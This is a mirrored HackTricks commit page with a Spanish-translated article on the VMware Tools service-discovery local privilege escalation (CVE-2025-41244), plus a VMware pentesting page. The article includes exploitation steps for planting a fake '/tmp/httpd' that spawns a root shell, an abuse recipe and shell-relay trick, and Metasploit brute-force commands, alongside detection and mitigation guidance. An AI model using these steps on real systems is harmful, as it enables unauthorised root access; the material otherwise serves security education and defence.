mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi
This commit is contained in:
parent
ba00fe2808
commit
91dfdfb8c6
@ -110,6 +110,7 @@
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,146 @@
|
||||
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta técnica abusa de pipelines de service discovery impulsados por regex que analizan las command lines de procesos en ejecución para inferir versiones de servicio y luego ejecutar un candidate binary con una bandera "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el privileged collector ejecuta un binary arbitrario desde una ubicación no confiable, produciendo local privilege escalation. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.
|
||||
|
||||
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## Cómo funciona VMware service discovery (a alto nivel)
|
||||
|
||||
- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando privileged credentials configuradas.
|
||||
- Credential-less (modern): Discovery logic se ejecuta dentro de VMware Tools, ya privileged en el guest.
|
||||
|
||||
Ambos modos finalmente ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae un command path coincidente vía regex, y ejecuta el primer token argv con un version flag.
|
||||
|
||||
## Causa raíz y patrón vulnerable (open-vm-tools)
|
||||
|
||||
En open-vm-tools, el script plugin serviceDiscovery get-versions.sh hace matching de candidate binaries usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de trusted-path:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
VERSION_OPTION=$2
|
||||
for p in $space_separated_pids
|
||||
do
|
||||
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
|
||||
done
|
||||
}
|
||||
```
|
||||
Se invoca con patrones permisivos que contienen \S (sin espacios en blanco) que coinciden con rutas que no pertenecen al sistema en ubicaciones escribibles por el usuario:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
get_version "/\S+/mysqld($|\s)" -V
|
||||
get_version "\.?/\S*nginx($|\s)" -v
|
||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- La extracción usa grep -Eo y toma el primer token: ${COMMAND%%[[:space:]]*}
|
||||
- No hay whitelist/allowlist de rutas del sistema confiables; cualquier listener descubierto con un nombre coincidente se ejecuta con -v/--version
|
||||
|
||||
Esto crea un untrusted search path execution primitive: binarios arbitrarios ubicados en directorios world-writable (p. ej., /tmp/httpd) son ejecutados por un componente privilegiado.
|
||||
|
||||
## Explotación (tanto en modos sin credenciales como con credenciales)
|
||||
|
||||
Precondiciones
|
||||
- Puedes ejecutar un proceso sin privilegios que abra un listening socket en el guest.
|
||||
- La tarea de discovery está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).
|
||||
|
||||
Pasos
|
||||
1) Coloca (stage) un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
|
||||
2) Ejecútalo como un usuario con pocos privilegios y asegúrate de que abra algún listening socket
|
||||
3) Espera al ciclo de descubrimiento; el privileged collector ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root
|
||||
|
||||
Demo mínima (utilizando el enfoque de NVISO)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
|
||||
# Example staging and trigger
|
||||
cp your_helper /tmp/httpd
|
||||
chmod +x /tmp/httpd
|
||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
Linaje típico de procesos
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
Artefactos (credential-based)
|
||||
Los SDMP wrapper scripts recuperados en /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Muchos agentes y suites de monitorización implementan el descubrimiento de versiones/servicios mediante:
|
||||
- Enumerar procesos con sockets en escucha
|
||||
- Grepear argv/command lines con regexes permisivos (por ejemplo, patrones que contienen \S)
|
||||
- Ejecutar la ruta que coincide con una bandera benigna como -v, --version, -V, -h
|
||||
|
||||
Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se obtiene CWE-426 Untrusted Search Path execution.
|
||||
|
||||
Abuse recipe
|
||||
- Nombra tu binario como daemons comunes que la regex probablemente coincida: httpd, nginx, mysqld, dataserver
|
||||
- Colócalo en un directorio escribible: /tmp/httpd, ./nginx
|
||||
- Asegúrate de que coincida con la regex y abra cualquier puerto para ser enumerado
|
||||
- Espera al collector programado; obtendrás una invocación privilegiada automática de <path> -v
|
||||
|
||||
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- Construye tu helper de modo que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (por ejemplo, un UNIX socket abstracto de Linux como @cve) y bridgee stdio a /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una bandera.
|
||||
|
||||
## Detection and DFIR guidance
|
||||
|
||||
Hunting queries
|
||||
- Hijos poco comunes de vmtoolsd o get-versions.sh como /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (busca espacios en expansiones ${COMMAND%%...})
|
||||
- ps -ef --forest para visualizar árboles de ascendencia: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- Inspecciona /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante
|
||||
|
||||
Policy/telemetry
|
||||
- Alertar cuando collectors privilegiados ejecuten desde prefijos no del sistema: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- File integrity monitoring sobre get-versions.sh y plugins de VMware Tools
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Patch: Aplica actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Disable o restringe el discovery sin credenciales cuando sea factible
|
||||
- Valida rutas de confianza: restringe la ejecución a directorios allowlisted (/usr/sbin, /usr/bin, /sbin, /bin) y únicamente a binarios exactos conocidos
|
||||
- Evita regexes permisivos con \S; prefiere rutas absolutas ancladas y nombres de comando exactos
|
||||
- Reduce privilegios de los helpers de discovery cuando sea posible; aplica sandbox (seccomp/AppArmor) para minimizar el impacto
|
||||
- Monitorea y genera alertas sobre vmtoolsd/get-versions.sh ejecutando rutas no del sistema
|
||||
|
||||
## Notes for defenders and implementers
|
||||
|
||||
Safer matching and execution pattern
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
|
||||
|
||||
# Good: strict allowlist + path checks
|
||||
candidate=$(get_command_line "$pid" | awk '{print $1}')
|
||||
case "$candidate" in
|
||||
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
|
||||
"$candidate" -v 2>&1 ;;
|
||||
*)
|
||||
: # ignore non-allowlisted paths
|
||||
;;
|
||||
esac
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,14 +1,26 @@
|
||||
# VMware ESX / vCenter Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Enumeración
|
||||
## Enumeración
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# Fuerza bruta
|
||||
## Bruteforce
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
Si encuentras credenciales válidas, puedes usar más módulos de escáner de metasploit para obtener información.
|
||||
Si encuentras credenciales válidas, puedes usar más metasploit scanner modules para obtener información.
|
||||
|
||||
### Véase también
|
||||
|
||||
Linux LPE mediante el descubrimiento de servicios de VMware Tools (CWE-426 / CVE-2025-41244):
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user